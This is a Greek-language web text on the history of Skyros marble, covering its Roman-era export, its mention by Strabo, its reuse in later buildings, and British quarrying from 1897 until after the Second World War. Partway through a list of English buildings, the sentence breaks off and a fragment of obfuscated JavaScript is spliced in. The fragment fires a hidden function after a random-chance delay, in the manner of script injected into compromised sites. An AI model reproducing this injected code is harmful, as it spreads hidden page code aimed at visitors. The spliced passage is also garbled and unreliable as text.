Το όνομα του υλικού μας προέρχεται από τα μάρμαρα που εξορύσσονταν κατά την αρχαιότητα στο νησί της Σκύρου στις Βόρειες Σποράδες (Αιγαίο Πέλαγος). Τα Σκυριανά Μάρμαρα ήταν από τα πιο σημαντικά μάρμαρα που χρησιμοποιήθηκαν από τους Ρωμαίους γλύπτες και αρχιτέκτονες. Όπως αρχαιολογικές μαρτυρίες της περιόδου του Οκταβιανού Αύγουστου επιβεβαιώνουν ,το μάρμαρο εξαγόταν εντατικά στη Ρώμη κατά τον 1ο αιώνα π.Χ.,. Επίσης ,τα μάρμαρα αυτά αναφέρονται στα γραπτά του Στράβωνα, ως « ποικίλη λίθος της Σκυρίας». Λόγω της στρατηγικής θέσης του νησιού ευνοήθηκε η διανομή του μαρμάρου σε όλες τις επαρχίες της Ρωμαϊκής Αυτοκρατορίας, από τη Συρία προς την Ανδαλουσία (Baetica) και από την Ελβετία προς την Τυνησία.Ενδεικτικά αναφέρεται ότι το πολύχρωμο μάρμαρο Σκύρου έχει εντοπισθεί εκτός από την Ελλάδα (Κόρινθος Ολυμπία, Επίδαυρος, Φιλίπποι κ.α.), στην Ιταλία(Ρώμη, Όστια, Πομπηία, Ερκολάνο κ.α.), Βόρεια Αφρική (Leptis Magna, Καρχηδόνα), Αίγυπτος (Αλεξάνδρεια, Κάιρο), Συροπαλαιστίνη (Baalbek, Caesarea Maritima), Μικρά Ασία (Σίδη Έφεσος, Μίλητος). Το Μάρμαρο της Σκύρου ήταν επίσης δημοφιλές στη Δύση και στην Ανατολή έως και τον Μεσαίωνα. Αργότερα, αφαιρέθηκε από τα αρχαία ρωμαϊκά κτίρια και επαναχρησιμοποιήθηκε σε έργα από Χριστιανούς και Ισλαμιστές. Κατά τη παράδοση από τη Σκύρια Λίθο κατασκευάστηκαν όλοι οι κίονες του Ναού του Αγ. Μάρκου στη Βενετία και τέσσερεις στον Ναό του Αγ. Πέτρου στη Ρώμη.
Το 1897, μια βρετανική εταιρεία ξεκίνησε στην Ελλάδα την εκμετάλλευση των λατομείων μαρμάρου.
Τα μάρμαρα που εξορύχτηκαν χρησιμοποιήθηκαν στην Ελλάδα (είσοδος του Μεγάρου της Εθνικής Τράπεζας στην Αθήνα) και σε όλη την Ευρώπη, κυρίως δε στην Αγγλία όπως για παράδειγμα στην Anglo-South American Bank (Old-Broad Street), στην Anglo-American Oil Co. (Queen Anne’s Gate) και στην Roman Catholic Church of Peterborough andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Londonderry. Δεδομένου ότι το νησί είχε εξειδικευμένους λατόμους και λιθοξόους, χρησίμευσε επίσης και ως εργοτάξιο και αποθήκη άλλων υλικών από άλλα νησιά έτσι ώστε να μεταφέρονται από την Ελληνική, στη Διεθνή αγορά.
Η εξόρυξη μαρμάρου στο νησί διακόπηκε μετά τον δεύτερο παγκόσμιο πόλεμο (1939 – 1945), όταν η Βρετανική εταιρεία αναγκάστηκε να σταματήσει τις δραστηριότητες της, στο νησί της Σκύρου.
